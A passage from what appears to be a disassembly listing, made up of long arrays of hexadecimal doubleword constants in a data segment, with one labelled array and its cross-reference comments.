40F535A4h, 0E0E987AEh, 0F0E45692h, 0D8DF569Ch, 0A421A01Bh dd 1623A979h, 0C9627768h, 0E5A2E4E8h, 92220590h, 99020934h dd 84F635D7h, 7D63FDFh, 415E30B8h, 0A05C3390h, 0B03B723Dh dd 880392C2h, 0CF0D23Ch, 4216F22Ah, 0E31EA653h, 709C267Dh dd 98233E73h, 7C037C0Dh, 0C612DB42h, 0FF16D264h, 51E620F7h dd 5F64390Fh, 0B59D3F4Bh, 0B67D7CF6h, 0DCA538Fh, 4E7A5200h dd 0A32C22C4h, 0B380E65Fh, 0B4F967Bh, 4C9AB471h, 0A2BFFD0Dh dd 0F3CC1D42h, 0FAB0BE4h, 5C649AB6h, 6200CC8Fh, 0B731D37Bh dd 0B969A04Eh, 0DA67BEBh, 4E441E08h, 0ACED0CC0h, 73E58B27h dd 8B66744Eh, 3C8057A2h, 0C2B1201Dh, 0AFCA69C3h, 11AA5525h dd 0C86417D5h, 0E4070EBEh, 0D2718A92h, 0DF29B612h, 14A6705Dh dd 0D7AC617Bh, 65450B69h, 0D5578AD0h, 0FAA674D4h, 94C1D726h dd 1EF06057h, 45D9699Ch, 0A75E951Ah, 31982FC0h, 484332A4h dd 0EC1086AEh, 0F2F8D612h, 18EE965Ch, 0C7139628h, 25D4354Dh dd 0DCC3B7BBh, 0F5B30488h, 64AF551Fh, 0E98F3443h, 82BAB46Ch dd 0AA37DA1Eh, 31698248h, 2B6FF5B0h, 0AE4E5396h, 7A8AA1E5h dd 2EE04201h, 439689DBh, 0B9DFF14h, 20BD2369h, 4432CF2h dd 0B9C86DC2h, 76453E2Ch, 0CB15D49Fh, 9B8D3500h, 570FA90Bh dd 0E9153AC2h, 34F05211h, 47B3FA88h, 6BC222C0h, 86AB36C5h dd 0AB9C1827h, 5A1A41F2h, 489BDDB2h, 0B4446D8Ch, 0E04E21F6h dd 0BCC9F7Bh, 5C579C6Eh, 6A78DD87h, 4829FE79h, 0B991EA5Dh dd 0ADCC83F8h, 7157180Fh, 8C12FD55h, 0D62608F7h, 6FE7B126h dd 8066B2h, 0F1E64E56h, 0A8B7EE29h, 0B2AE5C3Bh, 202416CAh dd 0C418F154h, 0E1D9FD2h, 101CA652h, 135D8F82h, 0DBAEEDCFh dd 61626361h, 0C3A91AD5h, 0E926C8A2h, 438D8AAAh, 36D865A8h dd 25C9709Ch, 48561497h, 0C1CCAE3Fh, 4C41635Fh, 6303422Dh dd 0C00D751h, 0AD6ED61Ch, 16598A65h, 16BF899Ah, 0A9C4D758h dd 0BC8BFCACh, 1F9018CDh, 664FCF4Bh, 4778D2A3h, 2F83FEC0h dd 215928F3h, 594C5BD3h, 8C531A9Eh, 7C13AB76h, 0AF0F75Fh dd 0AB40A19Fh, 0E29EEAC6h, 7DCFCE2Fh, 273C3973h, 0F87B2D33h dd 7E0ADB46h, 171283ABh, 659079A7h, 9A75380Dh, 0B260C75Ch dd 63A363E9h, 0FD75F01h, 6FDC7A6Bh, 0ECC9C5D4h, 78C8E2A3h dd 84C6112Eh, 0C3D3A59Dh, 5EE00D48h, 0F0B61DD7h, 7269ADB4h dd 5B77366Eh, 62F33B24h, 0C3C5013h, 0A96D504Eh, 48137EBAh dd 794831F5h, 0E3BE7385h, 2A1D8810h, 9B665583h, 5679901Bh dd 36F4AF82h, 0A1CA0922h, 0E95DCA19h, 8D5319A9h, 0CCC85E5Fh dd 0FA01786Ch, 0EF59525Ah, 6CB60583h, 9FA03054h, 5A67CFE2h dd 40B665Dh, 0B1437D83h, 167E7F74h, 4DCF1056h, 34F985E8h dd 0B70A9F72h, 2115ACD0h, 4DCE0A4Ch, 637BD8AEh, 87D852D1h dd 0CB379BC0h, 64AA4532h, 6341E57Ch, 19C45C4Ch, 668B308Dh dd 7A04735Eh, 19188146h, 0C2CDBA8Ch, 0F22AB25Fh, 1599A00h dd 85B0172Bh, 41B2198Eh, 0C50B47E9h, 1AD2D5Eh, 4969E02Bh dd 72DE5534h, 0B00C35D7h, 0BDE7C6E6h, 0DC1A7B9Fh, 51E0F34Ah dd 2E938B6Bh, 5BFBD0EEh, 8FB5CC0Bh, 0B61D9738h, 0DFD51CF9h dd 95557C75h, 9EBBAF88h, 984D2EC4h, 0BAD2B0CAh, 251E1B6Bh dd 88C2AD04h, 4A9283C8h, 0F0C9B06h, 0F78F2864h, 0AC148BE6h dd 329A2497h, 0A72C0E06h, 327DB6B4h, 8BF4F3DAh, 8AC700Bh dd 0CA668ACBh, 0A06F8E21h, 9D12956Bh, 7C7F22A8h, 3CCC99BCh dd 0A2CA6997h, 12AAB563h, 41D13407h, 0CE853528h, 0B3AAC92Dh dd 0AF6A3613h, 0B73A8A08h, 0AB154Bh, 3B01B5Ch, 412D2AC4h dd 0E0D6A477h, 9522B437h, 48113607h, 0ADB25F9Ch, 0E225C4F6h dd 0C5E5B049h, 4D9D3034h, 515BD7FDh, 768F5790h, 248DA8ECh dd 58E12FCBh, 5F770169h, 0FA51748h, 0CEFFC25Dh, 9356C6FEh dd 676858BDh, 8BA52C2Ah, 6F856169h, 1592F17h, 36D95899h dd 600A4809h, 786BB089h, 0E0E0A6EFh, 0BBE905A8h, 8A154E7Eh dd 611CC6B9h, 0E71E641Eh, 0FDD22430h, 2F5985E3h, 0C7DD8F78h dd 49FA697Bh, 0A82AF93Ah, 0E379B61Ch, 517A96AAh, 1B48F989h dd 6EBBFB74h, 674DF14Dh, 442F01A0h, 0C7169E0Eh, 0B41FC9Ah dd 0B3197CF1h, 7D4D7743h, 67BA7721h, 5C044AF3h, 62E8D3C7h dd 0E5D1D00Bh, 7E6DC80Fh, 0A5248BAAh, 4A2D6118h, 7C12CC4Ch dd 0B3F5CB4Fh, 94993DCFh, 0E4D367E2h, 3AB15188h, 0A2362854h dd 5AA531Dh, 35219BFDh, 938F64F8h, 53B175D6h, 0D6525E03h dd 2C3F707Ch, 0DA48E810h, 0F8C85EA2h, 0C73BD984h, 0E2CD75BCh dd 118EA9CFh, 0D9B3A957h, 0DBE6F667h, 86FAF0E5h, 4009BC00h dd 4E7322E1h, 0AFB580AEh, 7E06BDEEh, 0B3236A19h, 9B5650FEh dd 16410641h, 1FC44C30h, 8C8B289Ch, 91BF73DBh, 5C91DC33h dd 0C9F1B928h, 0CF855E1Bh, 0F15976FEh, 0C8A36158h, 0EAD31F6Dh dd 0A303AB32h, 0E78D25B0h, 9503F7C3h, 8A2E0AFh, 0CD79A873h dd 10FB53A6h, 2DEB8230h, 0F69133F0h, 0F395D294h, 1211A9A5h dd 8FE2ECC8h, 0EE972C19h, 2BF9B5F1h, 0F36AE060h, 477EF8Ah dd 60F1BBC0h, 0ABC9940Fh, 0F8419D7Bh, 1D87AB8Eh, 0A1F91465h dd 0FC0CB482h, 0FED68ECh, 36F80F4Fh, 9E52A9A3h, 0A73FE75Fh dd 4605CA40h, 0DEA47413h, 8E0F2FE3h, 8F2EB941h, 0CCE5D99Ah dd 26EF85BAh, 9D840D0Eh, 52E1E4E0h, 5B3505A7h, 86795313h dd 49245ED7h, 668B87F0h, 57D575EBh, 0E7605E54h, 3C83707Ch dd 2F3A20Bh, 13A28A84h, 91500AD5h, 0EF7ABF80h, 0EF72D2A4h dd 0DB512FA8h, 0DBF7E939h, 127581E5h, 0D693A73Ch, 0B124ACA4h dd 0AAC07F50h, 768641E1h, 248C28E0h, 12573056h, 0E94035CCh dd 4CB16E87h, 1A74D3F0h, 6CA3FC01h, 0F34820F5h, 89F5A6D8h dd 0B82B5F5Dh, 613336C7h, 0B01B5638h, 3BFDC51Dh, 8777548Ah dd 0A8550F1h, 42FD38FFh, 0BDDE6510h, 0ADB0AC2Fh, 0BD8A6C34h dd 59BE2E9Fh, 0C9428B5Fh, 0DBAAD6F2h, 0ED0C288Bh, 0E067394Ch dd 0B3653C8Ah, 7E76BF8Ch, 1F832874h, 0E7CFA15Eh, 8C50A921h dd 0D1D8800Ch, 0F76E197Bh, 1E015F21h, 6535FE0Dh, 0B58EC4CEh dd 84ED48D4h, 198D7613h, 27A0538Bh, 0DDD1DB63h, 0DF6DCC15h dd 8056301Ch, 0DE2D975Ah dd 649B7794h, 53A2934Ch, 449ED60Eh, 0F4B163B7h, 0E801B46h dd 414336EBh, 9BFF904Ch, 0DB08951Ah, 0E5764F8h, 0E2540728h dd 0EF0C5E00h, 202D707Ch, 0CA6F0747h, 92470991h, 86DD8691h dd 0A212FB22h, 0BA9C737h, 3FB04010h, 0A9CB1C15h, 0A6645D47h dd 2105D493h, 4DD0204Ch, 15C604AEh, 333CD267h, 1B421537h dd 77DEDB7Bh, 9FEB1A14h, 36288585h, 19632899h, 175767D4h dd 281CA3F5h, 0F5F62717h, 0A488E39Fh, 0D2BCEF2Dh, 0EE0F8A1Ch dd 0B4515C67h, 0DEF3EEC7h, 0DBF6C90h, 4E527BC8h, 939B6246h dd 0F5BB2576h, 0B813291Bh, 0FC4EF0CFh, 1EC29E2Eh, 289D2DC2h dd 0B3A1E016h, 0E9A7300Bh, 0B3E200B2h, 0B39E907h, 7A28A848h dd 0E63104DBh, 0C9677328h, 57470DD6h, 507BC46Fh, 0C595E9FAh dd 833571D8h, 0F38F3B02h, 1F872BC4h, 19896ACCh, 12FF0407h dd 34399778h, 7E0BC2A8h, 8DA69ABFh, 1EAB23F7h, 0C1EE884Ch dd 26683D1Bh, 0CC310583h, 1E686FA7h, 0A5B11893h, 4134EC61h dd 1CD5ACE8h, 0A46427F8h, 0B67285BDh, 0BAF5CFA3h, 0A06B952h dd 0A182208Eh, 158A610Dh, 0EB3D08E8h, 0B514548Bh, 0B3EAE93Ah dd 475452AEh, 55CCFB00h, 0CF399C17h, 49070307h, 0D6275DB5h dd 677D2DD1h, 63398FE8h, 8CFACF54h, 24BBD799h, 6C7EA4F0h dd 0E93B5B78h, 8CA62897h, 0BED57B38h, 1B02A6ADh, 0CE4E8AC1h dd 0DE59024h, 0EC0E924Ch, 12590CBEh, 0DF50EB7Ch, 82D34471h dd 2103AB0Bh, 820623BCh, 41E1D1D8h, 6F1FA966h, 939060FCh dd 0F8DCBC04h, 5A5BF413h, 810F80FDh, 72D35BC1h, 0ED7D77A8h dd 5E33B01Bh, 2679D492h, 4FA02FF8h, 0FB48AC84h, 6F266AEBh dd 1966EBC4h, 92D6B8A9h, 0B6B6D8Ch, 0B03DC70h, 24453801h dd 799400BDh, 54B3433Ch, 0D55050EBh, 354103EAh, 3C35CC30h dd 0A486DF53h, 785B6AB1h, 3BB835B0h, 0E96B601Ch, 0B56CCD5Dh dd 0E19A3D8h, 177FAF58h, 634631DAh, 0A035E856h, 0E9EFD8C9h dd 493F48A3h, 0EF515D69h, 10575DEh, 13CA5E5Ch, 2A6F707Ch dd 8AB39ACAh, 7E0F49Eh, 30DBFE2Bh, 0E697223Eh, 94DD5E27h dd 0DA9A15A1h, 2FBB1654h, 3D179391h, 0C27A04C0h, 134C4BA6h dd 636CDDF5h, 0E7E001F7h, 0CB1EEE0Fh, 0DEDABD11h, 0E256F399h dd 4A2DF89Dh, 22ED2960h, 92559573h, 9F49C00h, 0C9F5CDBEh dd 625853D6h, 0CE0A366Eh, 26B49688h, 653B4C4Eh, 95FD288Fh dd 1BC1A20Ch, 0AE1DE323h, 631B2E2Fh, 29B327FCh, 6D63CBB2h dd 68B391Ch, 27C68E28h, 0E145D01Dh, 39F27EBEh, 3A3EE4E7h dd 0A0D09AC0h, 3A5B58FCh, 76F9F5DBh, 909F3603h, 98A38EC4h dd 3E4B845Fh, 0F8D1357Bh, 0A4FF521h, 243B018Dh, 0FB78782h dd 0F0DAF6D4h, 0D55C6F79h, 9E8ADAC4h, 3CC669C4h, 4696326Dh dd 274C3AC7h, 7476615h, 963DEDAh, 7C1A3159h, 0E0A23D30h dd 0B36877D4h, 234EE721h, 28436162h, 24A30848h, 9571D5A1h dd 0DD0B8D4Fh, 0AC36DC7Bh, 0F722BE05h, 0EA62747Ch, 7D5BEA4Bh dd 1EF6A9E2h, 0B7EE0AD4h, 2FEB3C8Bh, 5094FBAEh, 589DE9D6h dd 0D02FF19Ch, 0B6E03499h, 0E04B0EF1h, 0C41FE729h, 0FAB2DAEBh dd 0F2F0EF1Bh, 230137E6h, 945BFED0h, 178EA6A7h, 319BF708h dd 6E3021ABh, 90DE9121h, 10E49C6Dh, 417E768Ah, 825CE37Bh dd 311C5D7Eh, 35DF9A83h, 0E97A4CF2h, 3402ABB0h, 0E54DDA79h dd 79FA396h, 7CB667Eh, 8A30A690h, 8946FA4h, 9F18758Ah dd 415ADFA3h, 25B66A1Fh, 71C120FEh, 6F355C88h, 0FE5F8A2h dd 0E29133F9h, 78B8B705h, 93344B13h, 2AAC80C5h, 2D2C9A5h dd 8EDA7DF2h, 0B2CF8661h, 2A0F0D84h, 0A5C38F87h, 863D11A8h dd 0E20A61D3h, 9E62D80Fh, 0B6CDD348h, 79DBC11Ah, 85257E0Ah dd 3E12ED81h, 0A9118A94h, 83A046A1h, 679E1059h, 4CD5EC65h dd 0A2B1825Fh, 0A4416DA6h, 0CC10DA1Eh, 43E416F8h, 3D4E55F4h dd 0AE044975h, 38AE6B5h, 0EA7A0414h, 8375894Bh, 93AAF49Eh dd 3CCEE212h, 8E32F4D7h, 48E3E8D1h, 5DF186DEh, 6195F99Ch dd 6D2907E5h, 0A185B64Ah, 4290FEE0h, 67C66C10h, 0B684F816h dd 20F7FF23h, 5DBEC7FBh, 271B5D4Ch, 3668721Bh, 0A1956194h dd 6D12DB75h, 0C13119E0h, 870A8805h, 9BF55801h, 191CED6Eh dd 0DED79876h, 643B4866h, 32732DC0h, 4979A679h, 1FA396h dd 58D667Eh, 65F40129h, 83D75544h, 0F1B095CFh, 1207245Ch dd 0DE46F67Ch, 73107901h, 3F37305Eh, 0C73FA91Ah, 7A4D14A5h dd 0A325C005h, 3F05798Eh, 635D332Ch, 0B702C3A0h, 8F2A68F1h dd 71E0FD34h, 0F1B34B00h, 0A04C348Fh, 0FA6CAACh, 50C112E6h dd 0EAE8169Dh, 4108D584h, 0A18631D5h, 89972EB3h, 4A7C32D8h dd 8B63981Dh, 0A3C57458h, 0E4FF5560h, 0E57EE2Dh, 0D8F1E655h dd 9189E745h, 79D5169Eh, 1CA416E3h, 5B584827h, 0AF05896Ch dd 1B958514h, 1A0586F9h, 0FDFD24C1h, 44AF4F22h, 6105838Fh dd 353E115h, 464A6477h, 0D2956DDCh, 0D2D695E9h, 48995166h dd 297A0A3Fh, 8DA5E6DAh, 0EA39A747h, 0EB713892h, 8873C89Ch dd 64A8F473h, 0AD35FBC6h, 0C92DFCA4h, 7F8CE27Eh, 9090E67Ah dd 955D5286h, 7F244EBh, 0EB3A145h, 6D00076h, 0C55E597Ch dd 363638FCh, 6713DEB6h, 0B8BB8C91h, 0E0D27BC8h, 0D81863A0h dd 9759927Ah, 604E51A7h, 508B6DCFh, 0C2BD2456h, 5C3DDE50h dd 0A33E20E6h, 361C65Dh, 0C1683F4Dh, 0D27698BBh, 0CDE6E5Eh dd 396DF680h, 98CFC13Bh, 88395E5Fh, 0F8D23B93h, 424E818Eh dd 984A4D84h, 0F4358B37h, 0C06D055h, 34551C7h, 8E9E0871h dd 3E6C5596h, 466CA403h, 785B7E4Ah, 0BF06942h, 5911D811h dd 4CD62551h, 2FE5AA9Fh, 19433AC1h, 7632FD5Fh, 0A49C3EAEh dd 4CA20E9Dh, 48EF0E89h, 0D34068A6h, 4D328A28h, 1042B6ACh dd 96B6F568h, 8AFB5C4Ch, 128F0B61h, 0D5164257h, 0E6DB75A1h dd 1668A1A2h, 0A7F3C804h, 4E0A7663h, 4C5DC818h, 0C1490890h dd 0B26B6443h, 6335EC2Dh, 0F1F338D5h, 8EFFAC21h, 9990DDF7h dd 0DE3DA229h, 0C868114Fh, 130E2514h, 903D770Ah, 49E29C6Eh dd 14918E01h, 5828BA6Ah, 0FD9DE579h, 0B2211F99h, 74F4E90h dd 0C8461C46h, 447ACE29h, 8A7EE8C8h, 0D7A15AD7h, 64C29D2Ch dd 8F1AC608h, 6D6B7DCEh, 4D3324A1h, 0A954E16Bh, 33B2DF04h dd 0A85AB5CFh, 316A80CAh, 367357E8h, 0F32324EEh, 90A9A903h dd 9CA3902Dh, 0CF30D95Fh, 0F82C476Ah, 0D070F04h, 1A5E58E9h dd 73B7887Eh, 4A661CC0h, 5CB29ECAh, 817A3B77h, 0B8D186CFh dd 0E0923114h, 0A60065h, 71179A16h, 0F6D7602Eh, 76632A6h dd 60A1DC6Ch, 40FD652Ah, 0FEBD4D5Dh, 0F4CA6F61h, 2FD59B95h dd 1D24166Bh, 0C313F82Fh, 6D2C8842h, 164CE6ACh, 819A2018h dd 0F6F99EB7h, 6F0107A5h, 0C09DF5C0h, 0E6387DBEh, 0E2DC9F37h dd 9D192FA8h, 0D82E1290h, 4907351Ah, 9A8505B5h, 4D949BC8h dd 0AD11B51h, 70F3446Bh, 1CFDB0D8h, 0E6ABC6E0h, 0E976215Ch dd 3FA8B113h, 90743044h, 0FEE49A90h, 1418D9FEh, 0ECA5A9F3h dd 0B82A5F96h, 0E255A205h, 445C8E82h, 6C7EC72Dh, 52FFEE70h dd 0AAB52D7Fh, 62EABD41h, 4F1B5966h, 650C3701h, 83075544h dd 17C682CFh, 4123C94Bh, 2D4E5194h, 0EF486575h, 83466255h dd 0C53C7C14h, 0C526D61Dh, 86DE67FDh, 63141D13h, 74AB1F3Bh dd 4439B464h, 5A3AE0F8h, 0AB035AB2h, 0A136E68Ch, 0A61B74C2h dd 7B09473h, 0D115E5DDh, 1F9AD382h, 0B0FEF0B3h, 7EEECEF3h dd 0A630C27h, 9C46626h dd 6CC90B51h, 35E10AFDh, 5D6A10F8h, 0B3036045h, 0AE7F99AEh dd 9BCA6DB8h, 0C3CCA39Eh, 5D2395FBh, 0F240C9CCh, 35D60928h dd 6DBE7136h, 0ECA9F37Ch, 30852121h, 0F3A05B65h, 3C6CC253h dd 65153055h, 3155D7E0h, 9E903DAh, 6C5E31CBh, 72876D1Ah dd 9B348CCh, 818E4CEh, 0C3C3262Eh, 0B68128D0h, 0DA190C5Ch dd 67844368h, 0D23D55B6h, 9273ABF4h, 26D6CBA5h, 13B2EF27h dd 19185A09h, 93A39F0Fh, 0D55FECEh, 51D90E66h, 7DD19EEFh dd 0F1B61C92h, 0D1FC5409h, 0B5855927h, 956B8A27h, 5B1A26DFh dd 391AE3FDh, 4CEC454Ah, 0ACE7C30h, 30642520h, 297651B9h dd 83DF2D83h, 805CB9E8h, 0B3D60D0Fh, 351377A1h, 0C6DC63Fh dd 73925FCh, 8CA78DD0h, 443679B7h, 36747E84h, 4E3165B1h dd 0FC3B498Dh, 0CBCB3182h, 0FA54C5h, 34546A11h, 7217B580h dd 48CB851Fh, 88349473h, 8D309CCAh, 0CDC467D8h, 40BB03DAh dd 0EAE67AB7h, 0B1A5D612h, 3384A47Eh, 7D708F7h, 0C430BAFh dd 0CA2E9091h, 54AB02AAh, 0F32587A8h, 936788EBh, 39B8D053h dd 19D58F02h, 0EAE8A2C8h, 0E69AB6E2h, 0B727F52Bh, 0C5D85D2h dd 2AF6D176h, 3E48B3D4h, 501A9E1Fh, 5DCC181Eh, 399E6E81h dd 331222ABh, 0E5C14851h, 230C2925h, 0DF0EE4A5h, 0B1BC4A2Ah dd 9DED9A13h, 9AEE42Dh, 0A963736Ch, 11577817h, 5A9BD350h dd 0D7D5A647h, 84DDE64Ch, 0A90922E4h, 0A05CD9F9h, 13788E1h dd 965CEBBDh, 0F11C2F28h, 0F79FAD0Eh, 8E93A44Bh, 7EF47578h dd 0AD2339F5h, 5CEB75BAh, 376D245Fh, 0E48BC250h, 1DA3A9ABh dd 2C935F58h, 26A53FB7h, 0C584F1F9h, 0F35DED8h, 66ECAD53h dd 63434F2Ch, 0AB0CA5A0h, 864DF5F2h, 4C1E780Ch, 5A35D078h dd 734CE543h, 0B06BE2Ch, 0A241CEB9h, 3FFBD6D4h, 0A753DB38h dd 469D7966h, 0CE2D2DF4h, 1814A483h, 88B2030Fh, 73E48EBh dd 8F15DE10h, 4B096B06h, 0D5B96E31h, 0F03AAD78h, 0B72F0AE3h dd 43E7E68Bh, 34648DABh, 70120928h, 0F777E950h, 0A2AD23BFh dd 5369696Fh, 0F7B60515h, 3D987516h, 71F6278Fh, 484228D7h dd 0D339A30Ch, 42064DD0h, 0A7D04991h, 2148AB4Bh, 0A69DC22Fh dd 0EE758FBAh, 766B7267h, 0BD769687h, 99237042h, 4435CD82h dd 0BCFF6158h, 0BE5BA68Ch, 19012995h, 7314F8CBh, 0B4DC3B12h dd 0AE8C5DB8h, 351AED22h, 2154D8A7h, 17B84801h, 4301DE65h dd 0A3B3593Ch, 3B2BC48h, 2D5AE3AFh, 309861FCh, 0FB35B090h dd 0EC50233Fh, 0E01D8DF0h, 3FBEDEB0h, 0B0B6D216h, 0ACDCE0F4h dd 0C72544CAh, 0B292D7F0h, 0C0D9ABFAh, 5D004FE8h, 63B2D54Dh dd 0FF472C1Ch, 41A0295Fh, 0A0CE375h, 28D741A9h, 0AEB95884h dd 59BEA2DFh, 8F2FD1h, 9D263FA3h, 0A71DC874h, 5269B903h dd 0A9E0FC12h, 8A0159CDh, 98885ADh, 0E5E0B9E0h, 81134BE8h dd 77096E76h, 5B96E39h, 85281862h, 712E26E8h, 6562FD39h dd 7CF17A57h, 6371AE6Dh, 1727C360h, 7F325428h, 8CA8EA71h dd 0F6EA4CE8h, 0E53281CFh, 0E8D8BFC6h, 9AF9B5AEh, 0DB1A3413h dd 511A75E4h, 93A89A1Dh, 294992D0h, 5DBFD72Fh, 0BC34FE51h dd 0CED867Ah, 1B42FBE3h, 0C008151Bh, 41E8A9DAh, 0D10840D3h dd 0A100D451h, 0E2DC6C70h, 12083692h, 2FE1F742h, 1FECB281h dd 0D6D06FD7h, 5554E885h, 0ADD739B4h, 0E507DE9Bh, 2FB64DCBh dd 98008C3Eh, 0F18E8163h, 0EFDA5047h, 9BD31DA2h, 3755F6F5h dd 4F929C2Ah, 0B86598Fh, 411EABEEh, 0E0517B82h, 30B49B0Dh dd 4E413881h, 0E8E4388Fh, 6E9BC113h, 8CEAFE4Fh, 0EDD86AA0h dd 0F8C83893h, 8EB7DC8Eh, 0FAEF8A4Dh, 15C04401h, 84BDD7F7h dd 0D76255CBh, 9D263FEAh, 48088368h, 7FDAB8CDh, 785B2559h dd 30A388D1h, 286D76A7h, 0E6254877h, 0C49EDC18h, 47DD3CD3h dd 0D55491DFh, 5C413ACEh, 50DFD814h, 630FE9C9h, 0E180F199h dd 0B024757Ah dword_455000 dd 73A68AB8h, 82FAF383h, 6C95A1CEh, 5DBCF3E8h, 93A5D78Fh ; DATA XREF: DMN1:00441C00o ; DMN1:004520D8o dd 0C4427F80h, 0A7DA442Bh, 1D5FFAAh, 34CE3D17h, 5CE06D91h dd 2FD01CD3h, 49EB6FF4h, 147359FDh, 378180EDh, 0D304E9D0h dd 7223DC3Eh, 437DB157h, 25AFF1C9h, 1DCEBA54h, 6E12F30Ah dd 7118B8C1h, 0C4FAD23Ah, 0E7BFA22Ch, 64A6660Eh, 0D0296162h dd 0D9AF59ADh, 1686BB15h, 0DC0F8132h, 50D310F3h, 0A87A534h dd 0B089DA1Eh, 32B93890h, 300B0836h, 396127D6h, 43D02F0Ch dd 54A75501h, 74A7251Eh, 17C87659h, 0DA88493Bh, 0ED50ED8h dd 6FE9D253h, 9C2CBECBh, 451855A0h, 12FA330Eh, 517187D1h dd 0B4DD9408h, 0F5524FDh, 1A135D31h, 4C05D442h, 9DEBC268h dd 0B7C5D892h, 0E4815C94h, 682D34CDh, 0C4B855Bh, 0A4BD95D9h dd 0A3E5CEBFh, 6D9DAF1Ch, 0E2D09942h, 0A4E702h, 8BDA6DA0h dd 42AE95B9h, 1F5BE810h, 8C1A8ED1h, 98BE75DBh, 79DCD922h dd 0F9C58E84h, 0AA67EC1Ah, 711FF49Ch, 3722CC3Ch, 16C7EDD6h dd 6D746712h, 0A14FBD47h, 6B05FE62h, 0B62FCBF2h, 417A4CC0h dd 5DBF734Fh, 14C93423h, 1B5B006Dh, 0DB766123h, 7C3C53C2h dd 9BA91ADBh, 36D377CDh, 496323A7h, 0CB57501Bh, 629D2EC9h dd 0D40A35FBh, 7A23234Bh, 69099BDBh, 0D05C7B3Ch, 203B4F4Ah dd 2ED6435Dh, 6C73595Ch, 0F89FA385h, 434B6660h, 0EDF0A4AFh dd 81E339F9h, 58E279A1h, 2F0756A0h, 27212D6Bh, 80A52094h dd 6D5AC58Fh, 0C262FCC0h, 0C13E07E5h, 4C709377h, 97B94CF8h dd 1107C6C4h, 4586C5DAh, 757B6A84h, 29687A93h, 21ACD40Fh dd 0FBA4DAAh, 32B429Bh, 1E630ADh, 879EAA6Ch, 0E434B408h dd 4975DE05h, 78A3880Fh, 245307E7h, 0A4FB6C19h, 3AF5CE07h dd 38674072h, 712873D2h, 0FADB085Ah, 2A06D0Ah, 0F3BFAC27h dd 0A674161Fh, 378BFA90h, 0A4388A27h, 900C71AFh, 5E36707Eh dd 0C8FC648Dh, 37E01B61h, 0A73A8AD4h, 0BEDC293Ah, 9515BF71h dd 1082DFA8h, 535A097Eh, 0B694041Ah, 2D5517AAh, 4CB75ACCh dd 15B4D8BEh, 0E6E880EDh, 0CB781ED0h, 5BD02972h, 346B55Dh dd 0D92DB8A0h, 0E5842869h, 0F867365Eh, 7318C2B3h, 44EAAD04h dd 5886A749h, 0F1A5F0F1h, 4D9A10BEh, 0BA2339C4h, 0DE27EF4Fh dd 0F1F62FD9h, 5B2BC60h, 48182C54h, 0BD29DA1Bh, 7BE33907h dd 0ABB02311h, 0EDD18DF3h, 9997BA6Ah, 973730FEh, 715BA663h dd 0D9318049h, 0B790DC04h, 8510664Bh, 256C03Fh, 0F416DCC4h dd 0BA733C40h, 9304C228h, 0C86B7B8Dh, 0D559D14Bh, 0B4CFB799h dd 8689F120h, 1881EFC0h, 0EB71D383h, 486E5EC9h, 0B9917995h dd 0CA5CAA1Ch, 2E529188h, 85FE9425h, 98BB90C3h, 34307992h dd 0F87657BBh, 0E8B1FA19h, 1BA26D0Eh, 0A12A5C76h, 0E1D88AF8h dd 72A487C2h, 61A6FFFFh, 5C4149A8h, 76583294h, 348C6120h dd 3AEE1409h, 389F59D4h, 0FE9FC842h, 9577B0AEh, 0D0EDF023h dd 0CDDF77ABh, 0E2170C6Eh, 0A25D09E4h, 0C4D58DE3h, 8C4C5BACh dd 0A4EB002Ch, 27E0B7E3h, 6406DADBh, 16451A4Ch, 0F9A7368h dd 26DFC52Fh, 0C2B2CD19h, 124FFFB9h, 417CC94Dh, 4FA02C3Ch dd 20008CF2h, 3905998Eh, 0C44EB2C5h, 0CC42E525h, 6D79FFBBh dd 0EE45E602h, 9DCD5946h, 64342427h, 6D0339FFh, 7FCFD9DCh dd 0C65258B0h, 8F23D6E0h, 0DE022815h, 0A12AE632h, 1BFA7F78h dd 63AD35A3h, 7A66204Bh, 9775465Fh, 9CD2C6D1h, 6AB0A74Fh dd 540F347Ch, 0BE954F99h, 612A8FF2h, 307513BCh, 67CDEB64h dd 4C0A7B1Fh, 622ACD97h, 9B5009F3h, 466DEF93h, 0D5F3220h dd 0A25291C7h, 55FE94A3h, 6235BD88h, 783D74B0h, 3565EF98h dd 8EB570C6h, 5A9C3E68h, 42C0431Ah, 33405361h, 0B007303Ah dd 34D50924h, 0E87C7130h, 5F48707Dh, 0D2A909B5h, 4E181B61h dd 0D35262DCh, 0B7440B29h, 0B6B854AEh, 9B9B4822h, 3B28FC75h dd 0B50E6E1Ah, 2D402B44h, 0B8C0BB98h, 600AB645h, 87D4FA11h dd 0AF585ED8h, 70A39BCEh, 2947295Dh, 91C7312h, 0E5891A85h dd 1A54CC52h, 5FD89BD1h, 40F64E44h, 5BDDD387h, 6D5D105Eh dd 7E82ECC1h, 34FB7856h, 0BA399075h, 443097B0h, 1296FAB9h dd 4BE52573h, 644D0439h, 0B2117012h, 0C88C72C9h, 0CD2EDF2Dh dd 0A421B455h, 9C8097F1h, 92D7AAB5h, 22F5FE79h, 0B4425B71h dd 85D0C78Bh, 1459660Bh, 0E21F92C0h, 45874E87h, 3605447Ah dd 43616DB1h, 2BED558Dh, 8484D501h, 7AC01DC0h, 5C3EE953h dd 0A226D082h, 0B739A95Eh, 792860ACh, 0BB378D4Ah, 4BCE6FC0h dd 8B599B0Ch, 55B227AAh, 0BA002A31h, 4F8FC0A8h, 0A93C48FDh dd 3A23D90h, 0B13A539Eh, 67A42D3Dh, 5C2BCA50h, 1300E022h dd 9AA45E54h, 3B63707Fh, 0B7355CF6h, 3BA1F49Eh, 32A36F57h dd 0EFBDC955h, 0AD82B052h, 5A6AD9BEh, 0FB4F6C9Ch, 804B014Ah dd 9E200DC0h, 0B2E9D773h, 81A703DBh, 70EA8D7Ch, 1BF2EC58h dd 0EEAB796Eh, 0FB0E25C5h, 0F8749A17h, 0E4F78668h, 25585AB0h dd 0DC95FC43h, 0ECA69BDFh, 17D5479Ch, 0BAFDE167h, 0C80C66D6h dd 0F03B76B2h, 65176F67h, 630B024Ah, 5EFEA85Ch, 1E1EA529h dd 0D92460D6h, 0F4AE8197h, 0D77C8611h, 80A724FEh, 1406E77Dh dd 0E392A301h, 6EE47C30h, 0E754C059h, 0D86E1C10h, 35620A77h dd 69B7F7EAh, 21431DC4h, 4571F6B7h, 7A15F84h, 0A9577D71h dd 5E66B9C6h, 44785A1Bh, 0F0C9D8Ch, 0E87EB9B6h, 8AAAD3F0h dd 48C723B9h, 3061EDEDh, 0CD263F3Eh, 3BB84F85h, 41717510h dd 0FABC3C8Eh, 0F49DB072h, 837F5871h, 28CF1F0Bh, 0C452E91Fh dd 5655AC47h, 0D99B160Bh, 75F8F558h, 